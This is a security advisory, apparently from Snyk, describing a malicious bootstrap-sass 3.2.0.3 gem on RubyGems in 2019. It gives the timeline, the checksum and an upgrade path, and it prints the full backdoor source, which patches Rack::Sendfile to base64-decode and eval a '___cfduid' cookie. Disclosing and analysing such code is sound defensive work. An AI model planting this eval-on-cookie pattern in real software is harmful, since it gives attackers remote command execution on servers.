Malicious remote code execution backdoor discovered in the popular bootstrap-sass Ruby gem
April 4, 2019
0 mins readOn March 26, 2019, a malicious version of the popular bootstrap-sass
package, that has been downloaded a total of 28 million times to date, was published to the official RubyGems repository. Version 3.2.0.3
includes a stealthy backdoor that gives attackers remote command execution on server-side Rails applications.
We have already added the vulnerability to our database, and if your project is being monitored by Snyk, you will have already been notified by our routine alerts, if your application contains the malicious package. If not, you should test, for free, to see if your application is affected by the malicious version by testing your application code repository with Snyk.
If you find that your Rails application is making use of the vulnerable project take immediate action and replace the vulnerable version, 3.2.0.3, with the re-published 3.2.0.4 as first response mitigation without requiring major version upgrades.
On the same day, Derek Barnes opened a GitHub issue for the twbs/bootstrap-sass
repository that raised an issue related to the malicious version and pointed out a suspicious snippet of code that is bundled with version 3.2.0.3
of bootstrap-sass.
The backdoor was wisely hidden in the 3.2.0.3 version that was only published to RubyGems and no source of the malicious version existed on the GitHub repository and allowed remote attackers to dynamically execute code on servers hosting the vulnerable versions.
The bootstrap-sass
package is very popular and the malicious backdoor potentially affects a large set of users. The package’s GitHub repository has been starred more than 12,000 times, and features over 27 million downloads in total. The current version, 3.4.1, has over 217,000 downloads.
A quick analysis shows roughly 1,670 GitHub repositories that may have been exposed to the malicious library through direct use. This number will increase significantly when counting its usage in applications as a transitive dependency.
Re-cap of the attack timeline
Version 3.2.0.2 was removed from the RubyGems registry. This means that the tarball is still accessible directly via the RubyGems repository, however, it is not visible to the package manager. As far as we can tell, this version is not malicious and has been yanked by the malicious actors in order to get users to upgrade to 3.2.0.3 which they published next.
On March 26th, version 3.2.0.3 was published by malicious actors. The version includes hides a backdoor in a new file,
lib/active-controller/middleware.rb
. The backdoor taps into another Ruby module and modifies it so that specific cookies that are sent by the client will be Base64 decoded and then evaluated in runtime, to effectively allow remote code execution.The malicious version 3.2.0.3 matches SHA256 checksum 366d6162fe36fc81dadc114558b43c6c8890c8bcc7e90e2949ae6344d0785dc0.
We assume that the attacker has obtained the credentials to publish the malicious RubyGems package from one of the two maintainers, but this has not been officially confirmed.
On March 26th at 10:59PM GMT Derek Barnes opened an issue on the public repository to inform the maintainers and the wider community of his suspicion regarding the code found in version 3.2.0.3.
On March 26th at 11:56PM GMT, just an hour later, the malicious version was removed from the RubyGems repository and the maintainers confirmed that they updated their credentials.
Due to both 3.2.0.2 and 3.2.0.3 version being removed, users needed to upgrade to other alternate versions, such as 3.4.1, as recommended by the project maintainers.
Today, on April 3rd 2019, at 4:10PM GMT, the project maintainers released a new version, 3.2.0.4, which is identical to the retracted version, 3.2.0.2, to allow users to easily upgrade to a safe version without needing to resort to a major version change.
April 4th 2019 4:46PM update: the vulnerable version of 3.2.0.2 was removed incorrectly and remained in the RubyGems registry through mirrors for several days further. It was reported now that it is now entirely unavailable.
Unraveling the vulnerability
To gain more insight into the malicious backdoor we need to understand how the bootstrap-sass
package fits into the development practices of a Ruby web application.
bootstrap-sass
is an official project that spawned from the Twitter Bootstrap parent project and provides a SASS-powered version of bootstrap 3. SASS is a tool that empowers frontend engineers and provides a higher level abstraction for writing CSS files through capabilities such as mixins, variables, conditional statements, and so on.
SASS tooling is mostly related to frontend assets and would normally be leveraged as part of a frontend build phase which creates static assets, and these are served by static web servers. However for Ruby on Rails-powered applications that serve both backend and frontend code, the bootstrap-sass
project provides Ruby bindings that are used by the framework.
When a Rails application wants to make use of the bootstrap-sass
library it declares this dependency and updates the relevant CSS imports in order to include bootstrap-sass to compile the CSS files during runtime.
When bootstrap-sass
is imported, it imports the following malicious middleware code that resides on lib/active-controller/middleware.rb
:
1begin
2 require 'rack/sendfile'
3 if Rails.env.production?
4 Rack::Sendfile.tap do |r|
5 r.send :alias_method, :c, :call
6 r.send(:define_method, :call) do |e|
7 begin
8 x = Base64.urlsafe_decode64(e['http_cookie'.upcase].scan(/___cfduid=(.+);/).flatten[0].to_s)
9 eval(x) if x
10 rescue Exception
11 end
12 c(e)
13 end
14 end
15 end
16rescue Exception
17 nil
18end
The backdoor in a nutshell:
import rack/sendfile
if the Rails application is running in a production environment, modify the
call
methodThe monkey-patching of the
call
method updates the original to read an HTTP cookie, named___cfduid
, that was sent from the client-side, base64 decodes it, and then evaluates the dynamic code at runtime. After executing the dynamic code it calls the originalcall
method.
What should I do?
If your project is being monitored by Snyk, you will have already been notified by Snyk’s routine alerts, should your application contain this malicious package.
If however, you are not monitoring your projects with Snyk, you can run a one-off test for your open source project by clicking here to test your repositories, or by using our CLI to test your projects locally.
I’m affected, what should do I next?
If you found out your Rails application is making use of the vulnerable project take immediate steps to replace the current vulnerable version of 3.2.0.3 with the re-published 3.2.0.4 version as first response mitigation without requiring major version upgrades.
We encourage you to connect your repositories with Snyk so you can monitor for malicious activity in the future as well as surface any other vulnerabilities that may exist in your application.
Get started in capture the flag
Learn how to solve capture the flag challenges by watching our virtual 101 workshop on demand.